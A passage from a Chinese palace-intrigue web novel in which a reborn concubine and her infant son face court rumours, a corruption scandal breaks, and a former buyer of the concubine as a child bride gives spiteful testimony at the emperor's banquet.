不过她们着重关注的点是金承徽的尸身被盗了,以及金承徽竟没侍过寝!
她们彼此不知道,外人不知道。
可她们自己却一清二楚。
她们也没侍过寝啊!
为什么?
太子不是去过金承徽屋里?为什么金承徽没侍寝?又为什么不让她们侍寝?
原来是太子不能行事?
难道宋槛儿生的那个真是野种?可她怎么敢的?太子又怎么敢的?
曹良媛与秦昭训不在一处,但两人的想法却在这一刻隔空对上了。
今晚的东宫想来没几个人是睡得着的。
槛儿也睡不着。
不是担心事情解决不了,而是金承徽的遭遇委实骇人听闻,她心里很不舒服。
也没办法不去想,加上这些事牵扯到了曜哥儿,槛儿自然考虑得多些。
孩子今晚也像是有感应似的,黏着她迟迟不睡,槛儿干脆留他在自己这边。
曜哥儿其实是担心娘害怕才闹腾着留下的。
特殊情况他也不讲究什么君子不君子了,上了榻也强撑着精神和娘说话。
槛儿一面回应儿子的哦哦啊啊,一面分心想事,想着想着她将小家伙抱进怀里。
低喃道:“不会有事的,上辈子娘没护好你,这辈子……娘不会让曜哥儿有事。”
曜哥儿小身子一僵。
埋在娘怀里的小脸呈呆滞状。
娘也是重生的?!
曜哥儿直愣愣地盯着槛儿衣襟上的绣花,眼里的震惊之色无以言表。
自打他意识到自己转世投胎了,不管是在娘肚子里还是出生之后,娘身边大多时候都有瑛姑姑她们在。
少数娘一个人或是只和他在一起时,从没跟他说过类似刚刚那样的话。
当然,曜哥儿老早之前也有想过“自己转世重生了,娘会不会也跟他有一样的际遇,也重生了”这个问题。
不然解释不通为什么他的这辈子里娘是宋昭训,而不是宋奉仪,娘的性情又为什么比前世变化这么大。
也解释不了这辈子明明身边的人还是那些人,事情却发生得截然不同。
可娘多数时候的言行,又跟曜哥儿前世前面那些年里观察到的娘差不多。
这也就导致虽然自诩大小孩但终究还是个孩子的曜哥儿,就不确定娘是不是跟他一样重生的了。
加上曜哥儿也知道他这种际遇应该很难得,所以早先没想明白这个问题时他干脆也就放弃了。
不想了。
猜测大概自己是重生到了皇寺里那些僧人所言的大千世界中的其中一个,和他前世的世界差不多的世界。
直到前天听说了那位秦御医是娘引荐给父王的,曜哥儿没忍住又有了猜测。
结果没想到这回他的猜测竟是真的!
娘竟真跟他一样,是重生的!
为什么?
槛儿见小家伙没动静,还当他睡着了。
便准备将其换个姿势放好,哪知刚把他翻了个身便对上一双亮晶晶的大眼睛。
槛儿笑出了声,戳着儿子的胖脸蛋道:“小人精,怎么突然这么安静呀?”
曜哥儿动动手脚,笑着配合哦哦两声。
心里却是想到了上辈子父皇在外云游的那几年,以及父皇临终前昼夜不眠地诵的那九十九天生天经。
父皇求的什么机缘,曜哥儿不清楚。
他的心性到底比不得大人。
所以当时飘在父皇身边,他也不知道父皇所求究竟是能成真。
还是就像弟弟妹妹说的那样,父皇是太想母后,糊涂了,被人诓了。
但曜哥儿私心希望父皇所求能成真。
而眼下,他和娘都重生了。
就说明父皇的苦心没有白费。
可父皇呢?
他和娘重生了,老老的皱皱的父皇呢?
如果现在的父王不是父皇重生回来的,那为他和娘求得重生机会的父皇呢?
第221章 帝王之术,太子失态,儿子“嗷呜”
念头一起,曜哥儿的心里升起一股悲伤。
想哭,但又怕娘担心。
曜哥儿便假装打哈欠,翻身扑到娘怀里。
次日,六月二十九。
明日就是万寿节。
虽说今年不办,却到底是个好日子。
然当下东宫发生了这样的事,尤其还出了金承徽的尸身被盗这事,于时下而言简直不吉利到了极点。
于是众人就想。
陛下这次怕是不知道要怎么震怒呢。
以宁妃为首的一些看热闹不嫌事大的妃嫔原想借着今晨请安的机会,暗戳戳给裴皇后添点儿堵呢。
可惜裴皇后早有所料。
她也没管这些人私下会怎么想,又会怎么说,没到卯时就直接让人去各宫传话,道今天的请安取消。
宁妃等人一口气憋在心口不上不下的,各种酸话讥讽之言没少念叨。
跟着又想,躲得了初一躲不了十五。
明天就是家宴,到时肯定会有人提起这事,她们就不信裴皇后还能有招。
如此一想,这些人又支棱起来了。
都等着明儿看中宫的热闹。
有这种想法的不止后宫妃嫔,前朝甚至宫外关注万寿节的人也这么想。
也有人打算今儿趁乱加一把火,把城里的流言尽可能地往外地传。
不管是真是假,总归要让各地藩王诸侯,以及外面的百姓也知道。
尽可能地将事态闹大。
可惜,他们的计划注定只能想想了。
因为今天的早朝结束没多久,朝堂之上就爆出了另一桩大案。
——三月里淮安府清江浦水渠决堤,实乃高敬璋之流贪墨所致!
据说当地汛洪共计淹漕船两百艘,死伤役夫四百有余,毁农田数百顷、牲畜死伤无数,引疟疾爆发。
工科给事中梁盛弹劾高敬璋“纳国脉为私产,视皇权为无物,以民命为刍狗”。
又有佥都御史周肃、冯秉仁弹劾其门下党羽多为高敬璋考功卖官所笼络,各个尸位素餐、坐靡廪饩。
实为坏祖宗选法,乱圣贤之道!
另有山东清吏司主事柳季允,弹劾高墉借徽州盐引洗钱近百万两。
御史周亚方与兵部尚书联名弹劾高敬璋,私吞大同军饷数万两。
诸如此类罪状,证据确凿。
钦天监监正愤慨陈奏,称高氏一门客星犯帝座,恐为文曲侵紫薇!
帝闻之,震怒不止。
当廷甩下证据逼问高敬璋、高墉父子。
高墉据理力争,道这些事实乃有心之人诬陷栽赃,恳请元隆帝明鉴彻查。
然其父高敬璋却在沉默半晌后脱下官帽,跪伏在地对种种罪名供认不讳。
从前两年到清江浦水渠案爆发,再从那时至今,没有人比高敬璋清楚皇帝一直在等一个合适的契机。
而眼下便是那个契机。
君要臣死,臣不得不死。
高敬璋之举,令满堂哗然。
元隆帝当即命锦衣卫搜查高宅,命大理寺卿、刑部、督察院三堂会审!
于是就在京中百姓端着碗准备吃早饭,顺便再自以为很小声地说说太子可是真不能人道的闲话时。
一群带刀锦衣卫风驰电掣地经过人流众多的主街,气势汹汹地直奔高家。
这可不得了。
要知道百姓们所熟知的高首辅可是再清正廉洁不过的青天大老爷。
据说他四季常服两只手都数得过来,有百姓曾亲眼看到高首辅的衣裳袖口领口这些地方都磨破边了。
举凡逢上哪处有灾情,高首辅势必捐银捐粮,一片爱民之心天地可鉴。
虽说高家的小辈们不见得有高首辅这般简朴,可也正说明了高首辅对子孙后代爱护有加恩如山海啊。
宁可自己穿素衣食粗粮,也要让小辈们吃好穿好,一片慈爱之心可见一斑。
这么心怀大义克己奉公的好首辅,圣上派这么多锦衣卫往人家里去干嘛?
顿时,见到这阵仗的百姓们关注点歪了,端着碗跟过去打算看个究竟。
谁知这不看不知道,一看吓一跳。
搜查进行了约莫两个时辰。
除了暂时数不清的银锭银饼银票,还有大量的金饼金叶子和外邦货币。
一条价值十万两的祖母绿嵌宝腰带三条、御用规格的东珠十八颗。
各色宝石上千枚、七尺高的血珊瑚七株、各朝代的名家字画数百轴。
五爪龙纹器具四十余件,三万盐引拢共价值一百万两,缎绢摞了几座小山,宫廷制式的金漱盂金净盆十来个。
另有行贿账簿三册,其中包括收受海盗贿赂勾结倭寇、私通鞑靼的罪证。
另还搜出了五件金丝蟠龙蟒袍!
东西搜出来就摆在高宅大门外,被挡在外面看热闹的百姓下巴掉了一地。
大家本想着吃完饭就回去干活儿,哪知看着看着饭没吃完碗也摔了。
活儿也没心思干了!
什么清正廉洁、克己奉公。
合则都是装出来的!
羊毛出在羊身上,合则他们才是冤大头!
东西太多,锦衣卫一时半会儿没搜完,但百姓们的怒怨俨然已经被激起来了。
尤其就在这个当头,清江浦一案的真相也不知从地方开始传了出来。
陆陆续续的,仍是不到半天功夫。
京城各个地方就都知道了原来是高敬璋一派中饱私囊,才致使清江浦水渠决堤,致使当地百姓流离失所。
疟疾爆起!
正所谓同气连枝,休戚与共,都是老百姓,自然是要替老百姓说话的。
更别说此事关乎到漕运。
清江浦段漕运停滞,京城这边之后会有断粮危机,到时候大伙儿也要受牵连。
这可不能说没关系。
这么一想,京中百姓的愤怒更是高涨。
不管手里有事没事的,皆纷纷涌向高宅,异口同声地对高敬璋一派喊打喊杀。
这声势。
可比单纯传出太子不能人道,其子可能非太子亲生的流言造成的影响大多了。
甚至能说,一时间几乎没人再去关注太子的妾是不是完璧,太子侧妃跟那个傻子男人之间有过什么了。
朝堂之上高敬璋党羽人人自危,其政敌与真清流对之群起而攻之。
这种情况,便是后宫之中谈论的风向也从东宫流言转到了高敬璋一案上。
当然也有不甘形势有变,想把大伙儿的关注点给掰回来的。
可眼下高敬璋一案明摆着直接关系到百姓民生,圣上正为此大怒不止。
这个节骨眼儿上再提什么太子不能人道,宋良娣不贞不洁这样的流言。
岂不上赶着找死吗?
反正他们敢重提,也没几个人敢接话头。
到了傍晚,关于东宫的一系列流言就像是不曾有过似的,完全沉寂了下来。
槛儿听说了消息。
什么也没跟瑛姑姑他们说。
高敬璋之流贪墨敛财残害百姓,她自然也愤怒,但案子在这时候曝出来她猜测要么是元隆帝有心护东宫。
要么就是太子说动了元隆帝,以高敬璋一案来转移众人的视线。
其中牵涉的事情太多,就算槛儿清楚里面的关节也不会对谁表露出来。
晚上。
眼看临到子时,太子连东宫都还没回。
槛儿猜他今晚估计也没空过来,便还是带着曜哥儿在她这边一起睡。
想东想西了许久才睡着。
却是感觉没睡多会儿就被人从后面抱住了,随之的是一股熟悉的蓬莱香。
槛儿眼都没睁便握住了腰间的那只大掌,然后翻过身去熟稔地抱住他。
“您辛苦了。”
骆峋一天一夜没合眼。
此时嗅着她身上的幽香混合着一缕奶香,他疲倦地埋首于她颈间。
槛儿顺势抱着他的头。
骆峋几乎低喃道:“你放肆。”
槛儿往上挪了挪,轻笑道:“那等殿下睡醒了再找我算账也不迟。”
骆峋闭着眼没动,脸便随槛儿的动作不自觉埋进了她胸口,他察觉到了。
却是没心思害臊,只觉得疲惫有了疏解,于是无意识略微往深埋了埋。
这时。
他搂着槛儿腰的手感觉到旁边有什么动了动,骆峋下意识伸手一探。
“嗷呜!”
第222章 (合章)“朕即日便下旨废储!”
骆峋撑起身子。
在朦胧昏暗的光线下对上一双亮晶晶的眼睛,而他抓着小东西的“藕臂”。
想到自己竟放松至此,连榻上多了这么个小崽儿都没事先察觉,甚至当着小东西的面埋了她那个地方。
骆峋的脸不由绷了又绷。
“他为何在此?”
松开儿子的藕臂,太子爷问。
槛儿跟着看向里侧,笑道:“我以为您今晚也不会回来,便带着他睡了。”
说完坐起来把小崽子抱到中间放着,“你这家伙怎么这时候醒啦?难不成你还能感觉到爹爹来了?”
曜哥儿这两天心里也有事,刚刚睡得其实并不熟,估计也是白天睡多了。
他朝槛儿咂吧了两下小嘴儿,之后扭过头去看他爹,眼里有着不符合他这个年纪的感伤,“哒哒……”
他和娘重生了,父王呢?
您驾崩后去哪了?
骆峋没看懂儿子的眼神,只记得自己刚刚当着这小东西的面失态了。
于是父子俩对视片刻。
曜哥儿被抱回了东厢。
重新躺下,两人没再像刚刚那种姿势。
槛儿虽然有很多话想说,但顾及太子这一天一夜累得不轻,她也就没多问。
只让他抓紧时间歇息。
骆峋的确暂时没时间与她说太多,像是他去看过金承徽的事他就没打算与她说。
不想吓到她是一,也不想她思虑太多。
然明日有家宴,骆峋今晚忙里偷闲过来便是想提点她一些事。
哪怕她能应付,他也不想让她独自一人劳心费神,且这也是他该尽的责。
“明晚,董家人或会进宫。”
槛儿有猜到董家人会进宫,毕竟要坐实她曾贴身照顾过董茂生,要把她钉上不贞不洁的耻辱柱上。
“董茂生也会来吗?”槛儿问。
“嗯。”
槛儿抿抿唇。
董家其他人都不难应付,唯独董茂生。
他头脑不好,他的证词按理不可取。
可也正因为他脑袋不好使,他说的话在外人来看往往才更具有真实性。
这么一来,董茂生就算是一个不小的变故,肯定会有人借他胡搅蛮缠。
槛儿怕倒不怕。
就是这具身体还记得以前和董茂生相处的种种,这让她本能地有些排斥和他打交道,心情也挺复杂的。
“不必忧心。”
骆峋握住槛儿的手,低声道。
“董家相关事宜孤已安排妥当,他家之后魏嫔有其他后手玷污你的清誉,你坚持己见想说什么便说什么。”
“有孤在,无需害怕。”
上辈子槛儿觉得太子和庆昭帝冷漠寡言,从始至终就没想过他有朝一日会耐着性子安抚后宫哪个妃嫔。
哪怕后面他们做了那么多年的夫妻,她也从没听他把类似“有朕在,不必害怕”这样的话挂在嘴边。
如今不止一次听他跟她说类似这样的话,槛儿感慨颇深又很是受用。
“您放心,我不会被动摇的。”
骆峋看着她在夜色中也显灼亮的眼,勾勾唇,低头在她额上亲了亲。
“睡吧。”
槛儿紧紧抱了他一下,二人相拥而眠。
一夜无梦。
第二天。
家宴设在晚上,清晨免了朝贺。
槛儿她们女眷要献给元隆帝的礼由裴皇后代受,申时四刻准时开始献。
离申时还有一刻钟时。
槛儿带着曜哥儿最先到了坤和宫。
前天裴皇后除了让碧荧跑了趟东宫安抚槛儿外,并没叫槛儿来问话。
槛儿自然有猜测过裴皇后的想法,不过当面她还是表现出了几分处在她这个位置该有的踌躇和小心。
裴皇后见状暗叹了声。
给人做过童养媳其实算不得什么事,六七岁的小人儿何至于谈贞洁一说。
早先郑氏向她提起这人,她叫人调查小姑娘的身世时就知道这茬了,只不清楚对方竟是个有缺陷的。
前儿个得知这消息,后又从太子那儿得以证实时裴皇后说不吃惊是假的。
可也仅此而已。
再多的想法却是没有的。
且不说六七岁的小丫头跟十岁的小子,根本谈不上什么贞洁清白。
就说给人当童养媳这件事。
若不是命苦,不是日子过不下去,哪个丫头会愿意给人做童养媳呢?
平民家的童养媳说得好听占个“养”跟“媳”字,实则就是给人当牛做马的。
小小年纪伺候人吃喝拉撒够苦的了,结果还要被人以此为污点来嘲笑羞辱。
像什么话。
见槛儿请完安一如既往规矩守礼地站在一旁,放在身前的双手攥着手帕。
曜哥儿由奶娘抱着,小胳膊不住地挥动着,嘴里咿咿呀呀不知在说些什么。
裴皇后一个眼神。
碧荧、碧烟停下给其梳妆的动作,冯嬷嬷打了手势示意屋里的宫人退下。
裴皇后示意槛儿上前,遂握住她的手拍了拍,温声道:“这两天委屈你了。”
槛儿原是做出来的谨小慎微状,此时闻言却是一下子没忍住真红了眼。
“娘娘……”
裴皇后慈和道:“前日里本宫让碧荧去传话给你,你就该知晓本宫的态度。
太子寡言,许是不曾与你说过他对于你的过去的态度,但他与本宫说了,说他并不介意外界的那些流言。”
“本宫告诉你这个,意在让你安心,太子讲理,你也犯不着自己吓自己。”
“至于金承徽的事……”
裴皇后眼底不显地闪过一丝冷意。
“太子会处理好,你用不着多虑,之后若有人问你与太子相处时的事,你挑能说的说,不能说的无需理会。”
她不清楚儿子与小良娣相处时是何情形,也无意打探,只听儿子说他的癖病不曾在小良娣身上犯过。
如此裴皇后就放心了。
槛儿至今不知太子的隐疾,闻言也没觉得有什么不对,乖顺地应下了。
裴皇后没再多说别的,把曜哥儿抱到膝上逗了逗,便继续叫人进来梳妆。
刚到申时。
小太监来报说宣王妃和瑜郡主来了。
裴皇后知道宣王妃与槛儿算是交好,便让槛儿先出去跟宣王妃说说话。
宣王妃前天晚上原打算昨儿进宫来看看槛儿的,奈何出了高敬璋一案。
她也只得打消了计划。
这会儿见到了人,一进偏殿宣王妃便屏退宫人,问道:“你可还好?”
槛儿笑道:“妾身没事,劳王妃费心了。”
宣王妃知晓宋良娣是个恪守礼节的,也没在意她这般客气的说词。
见其气色红润精神饱满,确实不像是有事的样子,宣王妃松了口气。
虽说很不想承认,但事实就是如此。
后宅妇人举凡沾染上与名声相关的事,关键之处就在于男人的态度。
男人是个本事的,又足够信任或是宠爱你,那么一切问题皆可迎刃而解。
相反女人可就苦了。
宣王妃不怀疑太子的人品,却是不了解对方在男女之事上是何性情。
也因此她担心太子会在意宋良娣的过去。
至于那些说曜哥儿不是太子亲生,乃宋良娣偷人所生的,宣王妃除了听得一肚子火外根本没将其当回事。
污构女子清誉,不论男女皆为人不齿!
“没事就好,流言这东西无非是两张嘴皮子上下一拌,外人不知真相人云亦云。
你在意也好不在意也罢,他们怎么着都有话说,实在不值当为此伤神。”
宣王妃颇具讽刺意味地道。
槛儿知她看似柔弱,实则是个爽朗性子,闻言很是赞同地点了点头。
“娘娘方才刚与妾身说殿下并未将那些流言放在心上,我也算是放心了。”
这当然不是炫耀什么,只是宣王妃真心关切,她也合该要说些真心话。
宣王妃很惊讶。
“六哥竟与娘娘这般说了?”
槛儿不遮不掩道:“娘娘这般说的,殿下具体如何对娘娘说的我却是不知。”
宣王妃想象了一下顶着一张冰块儿脸的六哥,冷冰冰地对母后说他不在意外界怎么传宋良娣的画面。
宣王妃差点没绷住笑。
不过,看着宋良娣牡丹花般娇艳的脸庞。
再结合三日前宣王回来说六哥当晚带宋良娣出宫夜游去了,以及东宫后宅里现今宋良娣一家独大的局势。
宣王妃忍不住猜,莫非太子对宋良娣……
动了真心?!
念头刚起,她心里陡然一激灵。
不、不会吧?
太子那冰雕似的人物,他知道何为男女情爱吗?
宣王妃想象不出来。
揭开这茬不提。
两人就这么说了会儿话。
直到宫人来报说其他人在坤和宫外候着了,槛儿与宣王妃才回了正殿。
别看今儿锦衣卫还在高宅搜查,高氏一门的势头完全把东宫的流言压下去了。
但事情到底发生过,各府的王妃侧妃公主们、以及宗亲妇面上什么也没提,可看槛儿的眼神无不复杂。
尤其轮到后宫众妃嫔进殿时,宁妃等人眼里的嘲讽之意几乎快化为实质。
特别是魏嫔。
眼中毫不掩饰鄙夷和赤裸裸的挑衅嚣张,明摆着是在针对中宫一系。
众人不禁疑惑魏嫔今儿抽的哪门子风,竟是连基本的面子活儿都不做了。
槛儿瞥了眼魏嫔,不为所动。
献完礼,一行人浩浩荡荡地去交泰殿赴宴。
照旧女眷先行入席,遂太子领着男客从东侧门入对面纱幔相隔的席位。
最后是一身龙袍,龙行虎步的元隆帝。
众人起身恭迎圣上,待帝王在主位上落座,众人又齐齐拜下恭祝万岁寿诞。
男人们那边的寿礼在奉天殿献过了,等元隆帝叫了平身又陈词了一番后。
大伙儿入座,家宴正式开始。
歌姬伶人们鱼贯而入各司其职,大殿之中一派笙歌鼎沸其乐融融之态。
然而在场之人无不知晓这只是表象。
第223章 二两银子买槛儿!“皇帝老爷万万岁……”
很显然,魏嫔豁出去了。
她一个嫔位的后宫妇人,娘家又已败落,哪来的那么大本事能在短短两天里就在宫外找到了人证?
这不就是明晃晃地在告诉大家,东宫的那些个流言里少不了她的手笔吗?
再结合睿王现今还被幽禁着,魏嫔此举简直就是把自己直接给架在了火上。
众人的表情顿时复杂起来。
魏嫔却是不想管那么多了。
横竖他瞧不上她,横竖他们已经走到了这一步,再装下去也没意思。
既然如此,那就不演了直接摊开了说吧。
反正这口恶气她出定了!
元隆帝察觉到了魏嫔的意图,笑了。
“就依魏嫔所言,传证人。”
陈月娥活了一辈子,做梦都没想过自己居然能进皇宫这样儿富贵的地方,去见皇帝老爷这样的大人物!
她现在感觉就像是踩在棉花上。
整个人都轻飘飘的。
其实这种感觉她最开始在今年二月底的时候就体会过一次了。
当时秋穗娘跑去她做活儿的地方找她,说是有人向他们打听槛儿的消息。
给了十两的银锭子。
娘耶,打听个消息就值十两银子。
啥家境啊。
她不吃不喝洗一年盘子也挣不到十两啊,于是陈月娥当即盘子都不洗了。
跟掌柜的请了假就往家跑。
本来还想着天底下哪有这么好的事,莫不是秋穗娘这小娘皮诓她的。
结果没想到那人竟真为了打听宋槛儿的消息给了她十两银锭子!
陈月娥当时捧着银子手都在抖。
宋槛儿她熟啊!
那不就是十年前她花了足足二两银子,给她家儿子买的个童养媳吗?!
嗐!
说起这事儿陈月娥早先也是悔得肠子都青了,那时候他们家住村子里。
说来也是赶巧。
那天她跟她婆婆去镇子上赶集。
回去的路上碰到一对年轻夫妻抱着个女娃,在打听附近哪家有买丫头片子的。
说他们是逃难来的,路上行李啥的被人给抢了,家里两个老的病得不轻。
下头几个小的又好几张嘴。
这一路的日子委实撑不下去了,不得已只能卖个丫头片子给二老找郎中。
刚巧那段时间陈月娥在寻思着给儿子买个童养媳,见状就跟那对夫妻说上了。
丫头片子生得真真是好,唇红齿白的,一张小脸儿嫩得跟水豆腐似的。
陈月娥可还从没见过哪个丫头片子这么好看呢,就是名字不太好。
槛儿,坎儿。
谁家给孩子取这么个名儿啊,宋槛儿,这不就把晦气往人家家里送吗?
陈月娥对此很不满意,膈应得慌,可她又着实看中了那丫头片子的脸。
村子里的那些个长舌妇平时没少拿她家儿子说嘴,说啥她儿子脑子有问题,今后别指望娶媳妇儿了。
没得祸害了人家姑娘。
又说她儿子脑子不好使,要是脸能好看些没准儿还有姑娘愿意嫁到他们家。
可惜长得也不好,注定要打一辈子光棍儿。
呸!
陈月娥气得不轻,打定了主意要买个童养媳回去,还偏就要买个好的。
看她不把那群瘟丧的嘴给堵上!
所以陈月娥最终还是咬牙把宋槛儿给买下了,花了她整整二两银子!
丫头片子果然是赔钱货!
因此她又打定了主意,一定要从这丫头片子身上把本儿给赚回来。
她家儿子的吃喝拉撒得这丫头伺候,家里的猪牛鸡鸭也得要这丫头看顾。
赶明儿个看这丫头啥时候来癸水。
陈月娥打算等这丫头来了癸水就让她跟儿子圆房,也用不着等及笄了。
反正村子里十三四岁生孩子的不在少数。
至于宋槛儿这破名字。
陈月娥原是打算给改了的。
谁知村子里一个擅长给人看相起名的老婆子却说,这丫头配这名字乃是大富大贵的命格,啥凤星高照。
陈月娥不懂啥是凤星,就知道名字不能改,改了这丫头片子就不旺了。
于是思来想去,把这名字给留下了。
结果怎么着?
陈月娥真是信了那老婆子的邪了!
大富大贵个屁!
那就是个丧门星!
真要是大富大贵的命格,土匪会跑来他们村?他们家会被土匪又抢又烧?
本就不安分了。
小小年纪把她儿子勾得五迷三道的,连她这个娘的话都不听了。
又这么晦气,把他们家克成那样。
陈月娥气不打一处来,所以想也没想就趁乱把那丧门星给撇下了。
对外则说她不安分,偷了家里的银子跟别人跑了,结果被土匪给砍死了。
不过在陈月娥来看那丧门星也是个心肠狠的。
寻常像她那么大点儿的丫头片子谁不怕被家里人卖,被家里人扔啊。
她倒好。
当初得知自己被舅舅舅母卖了就掉了几滴猫尿,陈月娥还当她认命了呢。
哪知死丫头打的竟是偷跑的主意,后来被她打断了腿倒是安分下来了。
却是没想到被她撇下的时候死丫头哭都没哭一声,就站那抱着个小包袱看他们走。
陈月娥至今都没忘那一幕。
死丫头睁着双清亮亮的眼睛,灰头土脸地站在烧着火的房子前看着他们。
就那样不哭不闹地看着。
陈月娥也不知自己为啥会记得那么清楚,总归那之后的很长一段时间她做梦都会梦到那一幕。
就跟那鬼上身似的。
这不禁让她越发厌恶那死丫头片子,也不耐烦听到宋槛儿这个名字。
可惜耐不住她儿子长年累月地叫,也纠正不过来,听多了陈月娥都麻木了。
本来她还以为宋槛儿真死在土匪手里了,却是没料到那丫头不仅没死。
反倒也来了京城。
甚至成了贵人主子,做了富贵人家少爷的姨娘,给少爷生了个大胖小子。
据说少爷的后院里就她最得宠!
这可真是戳到陈月娥的肺管子了。
凭啥啊?
凭啥那死丫头能过这么好的日子?
他们家可是被她克得背井离乡,她倒好,跑到有钱人家享福去了!
陈月娥恨得牙痒痒。
也因此,当那个打听宋槛儿的男人再次找上门。
说之后需得他们上那个大户人家家里去作证,证明宋槛儿贴身照顾过她儿子时,陈月娥二话不说就答应了。
那人当时没说清那死丫头片子究竟在啥大户人家给人做姨娘。
但陈月娥也不傻。
一个给人生了孩子的妇人,突然有人跑来问她以前的事,还要着重证明她以前贴身照顾过一个男人。
这事一旦成了,那妇人还有啥名声?
陈月娥可是听别人说过一些大宅门里的阴私的,想也知道肯定是那丫头抢了其他贵人的宠爱。
人家要搞她呢。
陈月娥见不得那丫头过好日子,自然乐得做这事,横竖她又不会损失啥。
可没想到那死丫头居然是太子的妾!
太子啊。
皇帝老爷的儿子!
月初听那人这么说的时候,陈月娥惊得当场就厥了过去,被她男人掐了好一会儿人中才醒过来。
之后那人问她还敢不敢出来作证,不敢就把他给的银子还给他。
那咋行呢,进了陈月娥嘴里的东西哪有让她再吐出来的道理。
再说她又不偷又不抢。
不过是站出来证明皇帝老爷的儿子纳的那妾,给他们家做过童养媳罢了。
她就说几句实话而已,难不成皇帝老爷还能叫官差抓她,砍了她脑袋啊。
那可是狗皇帝才干的事。
再说皇帝老爷也得要名声吧?
因着几句话就砍他们这些平头老百姓的头,那他这皇帝老爷也做不久了。
陈月娥就这么说服了自己,顺带家里人也被她的三寸不烂之舌给说服了。
而此时此刻,被一辆乌漆抹黑的马车拉到一道高高的宫门门前。
再下了车跟着穿盔甲的侍卫穿过旁边的小门,经过一条又长又宽的路进到被一道道红墙围住的地方。
看着那一座座金闪闪的房子,陈月娥脑袋发懵,脚下好几次打滑。
又想宋槛儿那死丫头,居然在这种富贵的地方做太子老爷的姨娘。
陈月娥嫉妒得眼睛都红了。
“不准乱看!”
旁边一个侍卫突然一声呵斥。
陈月娥吓一跳。
习惯性扭头就想喷回去吧,结果一看到对方那一身盔甲她立马怂了。
秋穗娘紧握着发抖的手跟在陈月娥身后,她旁边就是一脸憨相的董茂生。
他这两天也不知咋了,安静得厉害。
不过傻子的想法本就是捉摸不定的,如此倒也省了哄他的功夫,也免得进了皇宫犯起傻病来冲撞了贵人。
董娇杏也进宫了,她男人不清楚宋槛儿这号人物倒是没被召进来。
如是不知走了多久。
他们在一座金光四射的宫殿门前停了下来。
带他们来的人进去了一趟,很快出来,“陈月娥、董大力,你二人即刻进殿!”
陈月娥磕磕巴巴道:“就、就我跟孩他爹?我家茂生呢?茂生他们……”
“少废话,陛下让你二人进殿就进殿,其他人稍后有宣再进!搞快!”
与此同时,交泰殿内。
从元隆帝下旨让宣证人到现在过去了两刻钟,这段时间里殿中分明坐着这么多人,却是鸦雀无声。
唯有元隆帝在上面有一口没一口地品着酒,裴皇后给他夹了几筷子菜。
太子端坐于自己的席位,眼帘低垂面无表情,一如既往让人看不出情绪。
第224章 槛儿vs魏嫔,“宋良娣不唤婆婆‘娘\’?”
“噗嗤。”
不知是谁笑出了声。
陈月娥臊红老脸。
董大力几乎缩成了一团。
元隆帝朝声音传来的方向扫过去,淡淡道:“芮贵人,何故发笑?”
芮贵人没想到会被逮个正着,愣了愣,随即红着脸道:“陛下恕罪……”
“朕问你,缘何发笑。”
芮贵人能怎么说?
难道说她觉得此二人甚是粗俗粗鄙,一想到宋良娣给这种人家做过童养媳,她就没忍住笑出了声?
元隆帝没理会芮贵人的窘态,收回视线,“芮贵人御前失仪,废为庶人。”
芮贵人的脸一下子白了,当即跪在了席位上,“陛下恕罪,妾身……”
话没说完,有太监上来请她出去。
芮贵人红着眼离了席。
大殿中再没有谁敢将对陈月娥两口子的鄙夷之态表现在脸上。
陈月娥和董大力则被皇帝老爷的威风吓得脑子一团乱,一动也不敢动。
全仕财上前两步。
拖着腔调问:“你二人可是庐州府舒城县鸭嘴屯人士,董大力与陈月娥?”
两人点头如捣蒜。
全仕财:“听闻你们家曾于元隆十一年五月买一姑娘归家,可有此事?”
童养媳一词于权贵人家而言到底不好听,尤其又当着宋良娣本人的面。
全仕财措辞就较为委婉。
可陈月娥哪懂这些啊。
她就记得要实话实说。
不对。
是要在实话里添油加醋!
谁叫宋槛儿克了他们家,自己倒跑来京城过好日子了,他们家的好运道肯定是被那死丫头给抢了!
这么想着,陈月娥额头触地。
嘴上连珠炮似的:“是、是,那年我们家买了个丫头片子回去做童养媳。
茂生、也就是我儿子。
我儿子出生时在娘胎里憋坏了,大了才发现脑子不大好,我就想着买个童养媳回去帮着照看他的生活。”
很显然没人在礼节上提点陈月娥,她张口闭口就是“我啊我”的。
全仕财想斥责。
被元隆帝一个手势打断了话头。
底下的陈月娥浑然未觉。
“对了,那丫头叫宋槛儿,手脚倒是个麻利的,照看起茂生、我儿子,照看起我儿子也还算上心……
自打她来了咱家,茂生的吃喝拉撒都是经她的手,茂生也喜欢那丫头。
若不是那丫头帮着脱衣裳裤儿,他茅房都不去,洗澡也非要那丫头陪着,晚上要抱着那丫头才肯睡。”
“我本是想着横竖也是买来给他做媳妇儿的,今后就趁早把亲给成了,哪知那丫头竟是个不安分的。
六七岁的年纪就知道脱了衣裳勾引男人,哄着茂生连我这个娘的话都不听了。”
“后来咱村遭了匪,咱一大家子都想要往外逃命,结果那丫头竟是趁乱跟在咱村歇脚的一个货郎跑了!”
“也不知她使了啥妖法,弄得我儿现在都还记得她,成日里‘槛儿槛儿’地叫着,我儿、我儿媳妇都能作证。”
“皇帝老爷开天眼,那就是个狐媚子啊!”
说到最后,她倒叫起屈来了。
而随着陈月娥的这一股脑儿地说下来,殿中之人的神色皆一派难以置信之状,跟着就变得极为复杂。
男人们那边此前没见过太子宠爱的妾生得何模样,方才纱幔撤了得见芳颜。
年纪稍微轻些的好一番惊艳,终于明白太子为何这般宠爱此女了。
而现在大伙儿不好大剌剌地往槛儿这边看,就纷纷将视线投向太子。
尽管面上都没怎么表现出来,可这般行举就已经是只差把“冤大头”几个字刻到太子脑门儿上了。
当然也不尽是这种想法的。
像是荣王、慎王、宣王、骆晔,还有一些见多识广的老亲王、郡王什么的。
女眷这边的反应也很是精彩。
除去个别生性良善对槛儿抱以同情、唏嘘或担忧的,其余出于各式各样的原因要么幸灾乐祸,要么嫌恶。
曜哥儿绷着小脸,侧过头往娘的方向看。
对于陈月娥一番声情并茂的陈词和众人异样的目光,槛儿白着脸先是惊愕。
再受尽冤屈般摇着头。
身子摇摇欲坠,又深吸一口气似强行镇定,整个反应过程自然至极。
而所有人的反应也仅在顷刻之间。
“放肆!宋良娣岂是你能污蔑的?!”
全仕财厉声斥道。
陈月娥吓得一哆嗦,她也不懂啥是良娣,一听姓宋就猜说的是槛儿。
她连连磕头道:“大人明鉴!大人明鉴!我没有污蔑,我说的都是实话,是实话啊!不信你问我男人!”
说着,拐了董大力一肘子。
董大力平时就是闷葫芦,家里陈月娥说啥就是啥,这会儿也不例外。
“是、是,那丫头是个不安分的……”
“想不到宋良娣竟还有这样的过往。”
魏嫔不掩阴阳怪气地道。
